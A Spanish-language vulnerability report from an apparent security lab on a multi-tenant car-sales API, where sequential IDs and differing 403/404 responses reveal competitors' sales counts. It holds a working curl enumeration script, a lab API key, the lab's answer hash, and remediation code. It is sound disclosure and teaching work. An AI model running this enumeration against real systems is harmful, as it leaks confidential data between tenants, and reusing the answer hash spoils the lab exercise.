🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Fuga de información entre concesionarias por enumeración de IDs secuenciales y discrepancia de respuestas (403/404)

ID del Ticket	**VULN-2026-006**
Activo evaluado	**API «Venta de Autos» (Lab Venta de Autos, multi-tenant)**
Severidad	**ALTA** **CVSS v3.1 7.7**
Tipo	**Fuga de información multi-tenant por enumeración — CWE-203 / CWE-639 / CWE-340**
Cliente	**Software Seguro — Laboratorio Venta de Autos**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**08 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 7
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

El sistema de gestión de ventas es usado por varias concesionarias a la vez. Aunque **impide ver directamente** las ventas de las demás, **filtra sin querer cuántas ventas hicieron**. Dos detalles lo permiten: los números de venta son **correlativos y compartidos entre todas las concesionarias**, y el sistema **responde distinto** según el caso (una venta propia, una ajena o un número sin usar). Recorriendo esos números y mirando la respuesta, una concesionaria puede **deducir el volumen de ventas de sus competidoras**.

¿Por qué importa para el negocio?

Se trata de **información comercial sensible entre competidores**: cuántos autos vende cada concesionaria y cuándo. En un sistema compartido, esa inteligencia competitiva debería estar completamente aislada. Su filtración puede traducirse en ventajas comerciales desleales, pérdida de confianza de las concesionarias clientes, incumplimiento de acuerdos de confidencialidad y responsabilidad legal. Al afectar a **todas las concesionarias del país** que usan la plataforma, el problema es sistémico.

¿Qué tan grave es?

Severidad ALTA — CVSS 7.7. La explotación requiere únicamente la clave de acceso de una concesionaria y es simple de automatizar. Durante la prueba se determinó que, el 01/10/2025, las **demás concesionarias realizaron 99 ventas** (último identificador ajeno 101047), dato que se obtuvo sin poder ver ninguna venta ajena directamente, concatenándose en el código de verificación del laboratorio.

¿Qué hay que hacer?

Aislar correctamente los datos entre concesionarias: usar **identificadores no predecibles**, responder de forma **uniforme** (que no se distinga "ajeno" de "inexistente") y no permitir inferir totales de terceros. Son correcciones de diseño de impacto acotado y alto valor.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Filtración de inteligencia comercial entre concesionarias (volumen y cadencia de ventas) por enumeración	Alta	Alto	**Alta**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

La API REST multi-tenant protege el **acceso directo** a los recursos de otras concesionarias (`GET /api/venta/{id}` devuelve `403 Forbidden` para ventas ajenas), pero permite **inferir información sensible de terceros** por la combinación de dos defectos:

a) `PRIMARIO` **Discrepancia observable en las respuestas.** El endpoint distingue tres estados con códigos diferentes: `200 OK` (venta propia), `403 Forbidden` (venta de otra concesionaria) y `404 Not Found` (identificador

inexistente). Esa diferencia convierte al endpoint en un **oráculo**: revela la existencia y la pertenencia de cada venta aunque no muestre su contenido.

b) ENCADENADO **Identificadores secuenciales en un espacio global compartido.** Los `id` de venta son numéricos, correlativos y **compartidos entre todas las concesionarias**. Conociendo el rango del día, un atacante recorre cada identificador y, por el código de respuesta, cuenta cuántas ventas pertenecen a terceros y cuál es el último identificador ajeno.

Resultado. Sin visualizar una sola venta ajena, se reconstruye un dato comercial confidencial: el **número de ventas de la competencia** en una fecha y su cadencia. El endpoint `GET /api/ventas?fecha=` entrega solo las ventas propias, por lo que el total de terceros se obtiene exclusivamente por esta enumeración.

2.2 Flujo del ataque

- El atacante posee la API KEY de una concesionaria (cabecera `X-API-Key`) y consulta sus ventas del día con `GET /api/ventas?fecha=2025-10-01`.
- Determina el **rango de identificadores** del día a partir de las ventas frontera (la primera y la última del día), confirmadas con los registros de borde del día anterior y posterior.
- Enumera `GET /api/venta/{id}` sobre todo el rango con una herramienta de automatización (Burp Intruder o un bucle).
- Clasifica por código: `200` = propia, `403` = de terceros, `404` = vacío; cuenta los `403` y toma el mayor identificador ajeno.
- Obtiene el total de ventas de terceros y el último ID ajeno (objetivo del laboratorio).

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-203 — Observable Discrepancy · CWE-639 — Authorization Bypass Through User-Controlled Key (contexto BOLA) · CWE-340 — Generation of Predictable Identifiers · CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor
OWASP API Security Top 10 (2023)	API1:2023 — Broken Object Level Authorization · API3:2023 — Broken Object Property Level Authorization
OWASP Top 10 (2021)	A01:2021 — Broken Access Control
CVE	No aplica (defecto de diseño de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	API «Venta de Autos» (Lab Venta de Autos) — sistema multi-tenant
Host	`chl-<instancia>-venta-autos.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Endpoints implicados	`GET /api/venta/{id}` (oráculo 200/403/404) `GET /api/ventas?fecha=YYYY-MM-DD` (acota el rango propio)
Autenticación	Cabecera `X-API-Key` (clave por concesionaria)

Dato sensible involucrado	Volumen, cadencia e identificadores de ventas de otras concesionarias (inteligencia comercial)
Alcance	Todas las concesionarias de la plataforma (cruce de datos entre inquilinos)

2.5 Causa raíz

El diseño no garantiza el **aislamiento entre inquilinos (tenants)**. Un espacio de identificadores **secuencial y global** hace que los recursos de todas las concesionarias sean predecibles y enumerables, y las **respuestas diferenciadas** (403 frente a 404) revelan existencia y pertenencia. La autorización controla el acceso al contenido pero no la **inferencia de metadatos**; la suma de ambos permite reconstruir información confidencial de terceros.

3. Métricas CVSS

> Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
7.7	ALTA	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	La API se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: enumerar identificadores secuenciales.
Privileges Required (PR)	**Low (L)**	Se requiere una API KEY válida de una concesionaria cualquiera.
User Interaction (UI)	**None (N)**	No requiere que ninguna víctima realice acción alguna.
Scope (S)	**Changed (C)**	Un inquilino accede a información de otro: el impacto cruza la frontera de autoridad de seguridad entre concesionarias.
Confidentiality (C)	**High (H)**	Se expone información comercial sensible (volumen y cadencia de ventas) de todas las demás concesionarias.
Integrity (I)	**None (N)**	No se modifican datos en el impacto demostrado.
Availability (A)	**None (N)**	No afecta la disponibilidad del servicio.

> Nota de criterio: se asigna **Scope Changed (S:C)** porque la información obtenida pertenece a otras concesionarias (distinta autoridad de seguridad dentro del mismo sistema multi-tenant). Bajo un criterio más conservador que trate el sistema como una sola autoridad (`S:U`), el puntaje resultante es **6.4 (Media)**. El volumen de datos inferibles (toda la plataforma, de forma automatizable) respalda la valoración Alta.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

> Reproducción paso a paso. Cualquier técnico con una API KEY del laboratorio puede replicar el hallazgo.

4.1 Requisitos previos

- API KEY de una concesionaria: `55f53057-d320-4bec-8447-0ba940740595` (cabecera `X-API-Key`).
- Un proxy/automatizador (Burp Suite — Repeater e Intruder) o `curl` + shell.
- La fecha objetivo: `2025-10-01`.

4.2 Pasos de reproducción

Paso 1 — Acotar las ventas propias y el rango del día. Consultar las ventas propias de la fecha y observar el primer y último identificador propios.

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-venta-autos.softwareseguro.com.ar"
KEY="55f53057-d320-4bec-8447-0ba940740595"

curl -s -H "X-API-Key: $KEY" "$BASE/api/ventas?fecha=2025-10-01"
# -> 45 ventas propias; primera 100901, última 101048
```

Evidencia 1 — `/api/ventas?fecha=` devuelve únicamente las ventas propias (45): el total de terceros no se expone por esta vía.

Paso 2 — Confirmar las fronteras del día. Las ventas de borde registradas como apoyo confirman que el primer ID del día es 100901 (la 100900 es del día anterior) y el último es 101048 (la 101049 es del día siguiente). El rango del día es `[100901, 101048]` (148 identificadores).

Paso 3 — Enumerar el rango y clasificar por código de respuesta. Recorrer cada identificador; el código revela la pertenencia.

```
for id in $(seq 100901 101048); do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
         -H "X-API-Key: $KEY" "$BASE/api/venta/$id")
  echo "$id $code"
done | tee barrido.txt

# 200 = venta propia | 403 = venta de otra concesionaria | 404 = identificador vacío
```

Evidencia 2 — El barrido distingue 200/403/404, actuando como oráculo de existencia y pertenencia (equivalente a Burp Intruder).

Paso 4 — Contar terceros y tomar el último ID ajeno.

```
echo "Propias (200):"  $(grep -c ' 200' barrido.txt)   # -> 45
echo "Terceros (403):" $(grep -c ' 403' barrido.txt)   # -> 99
echo "Vacíos (404):"   $(grep -c ' 404' barrido.txt)   # -> 4
echo "Último ID de terceros:" $(grep ' 403' barrido.txt | tail -1 | cut -d' ' -f1)  # -> 101047
```

*Evidencia 3 — Resultado del barrido: 45 propias + 99 de terceros + 4 vacíos = 148. Ventas de otras concesionarias: **99**; último identificador ajeno: **101047**.*

Paso 5 — Construir el resultado y verificar. Concatenar la cantidad de ventas de terceros y el último ID ajeno, y calcular el MD5.

```
printf "%s" "99101047" | md5sum
# -> 5064f37401dd1c8710edf69cd492784e   (código de verificación del laboratorio)
```

Evidencia 4 — Objetivo cumplido: se obtuvo un dato comercial confidencial de terceros (99 ventas) sin acceder a ninguna venta ajena, por pura inferencia.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
Respuesta uniforme para recursos ajenos e inexistentes (p. ej. `404` en ambos) e identificadores no enumerables: imposible inferir totales de terceros.	Códigos `403` vs `404` + IDs secuenciales permiten contar y ubicar las ventas de otras concesionarias.

⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. No se accedió al contenido de ventas ajenas; solo se infirieron metadatos de conteo para evidenciar la fuga. Conviene limitar el volumen de peticiones durante las pruebas.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

1) Respuestas uniformes para no filtrar existencia. Ante un recurso que no pertenece al inquilino, responder igual que ante uno inexistente (p. ej. `404` en ambos casos), de modo que no se pueda distinguir "ajeno" de "vacío".

```
# VULNERABLE: distingue 403 (ajeno) de 404 (inexistente) -> oráculo
venta = Venta.objects.filter(id=venta_id).first()
if venta is None:
    return Response(status=404)
if venta.concesionaria_id != request.tenant.id:
    return Response(status=403)          # <- revela que el id existe y es de otro

# CORREGIDO: filtra por inquilino en la propia consulta; 404 uniforme
venta = Venta.objects.filter(id=venta_id,
            concesionaria_id=request.tenant.id).first()
if venta is None:
    return Response(status=404)          # ajeno e inexistente son indistinguibles
return Response(venta.serialize())
```

2) Identificadores no predecibles. Usar `UUID` (u otro identificador opaco y aleatorio) para las ventas, de modo que el espacio no sea enumerable, idealmente con alcance por inquilino.

3) Autorización y aislamiento por inquilino "deny by default". Toda consulta debe incorporar el filtro de inquilino derivado de la API KEY en la capa de datos, nunca confiar en que el identificador por sí solo acota el acceso.

5.2 Mitigaciones temporales

- **Rate limiting** y detección de enumeración (muchos identificadores secuenciales en poco tiempo) por API KEY.
- Alertar sobre ráfagas de respuestas `403/404` correlativas desde una misma clave.
- Revisar y, si procede, rotar las API KEY potencialmente usadas para enumerar.

5.3 Buenas prácticas de fondo (prevención)

- **Diseño multi-tenant seguro**: separación estricta de datos y respuestas homogéneas que no revelen metadatos de otros inquilinos.
- **No exponer secuencialidad** en identificadores de negocio; tratar los contadores internos como datos sensibles.
- **Pruebas automatizadas** que verifiquen que un inquilino no puede distinguir recursos ajenos de inexistentes.
- **Revisión de diseño/código** orientada a BOLA, enumeración y fugas por canal lateral (códigos de estado, tiempos, tamaños de respuesta).

5.4 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
	Equipo de desarrollo	Alta	Inmediato	Pendiente

Unificar respuestas (404 para ajeno e inexistente) con filtro por inquilino				
Rate limiting y detección de enumeración por API KEY	Infraestructura / SecOps	Alta	24–72 h	Pendiente
Migrar identificadores de venta a UUID	Equipo de desarrollo	Media	30 días	Pendiente
Test de regresión (ajeno ≡ inexistente; no enumerable)	QA / Seguridad	Alta	Con el fix	Pendiente
Re-test de verificación	Analista de seguridad	Alta	Tras el fix	Pendiente

5.5 Verificación (re-test)

Repetir el barrido del rango con la API KEY de una concesionaria. El criterio de aceptación es que los recursos ajenos y los inexistentes sean **indistinguibles** (misma respuesta) y que no sea posible derivar el conteo ni el último identificador de ventas de terceros. Confirmar además que cada concesionaria conserva el acceso normal a sus propias ventas.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que ya no es posible inferir información de otras concesionarias por enumeración, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP API Security Top 10 (2023) — API1 Broken Object Level Authorization: https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/
- OWASP Top 10 (2021) — A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-203 — Observable Discrepancy: https://cwe.mitre.org/data/definitions/203.html
- CWE-639 — Authorization Bypass Through User-Controlled Key: https://cwe.mitre.org/data/definitions/639.html
- CWE-340 — Generation of Predictable Identifiers: https://cwe.mitre.org/data/definitions/340.html
- CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor: https://cwe.mitre.org/data/definitions/200.html
- OWASP WSTG — Testing for IDOR / Enumeration: https://owasp.org/www-project-web-security-testing-guide/
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-08	J. M. F.	Creación del reporte: fuga de información multi-tenant por enumeración de IDs secuenciales y discrepancia de respuestas.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.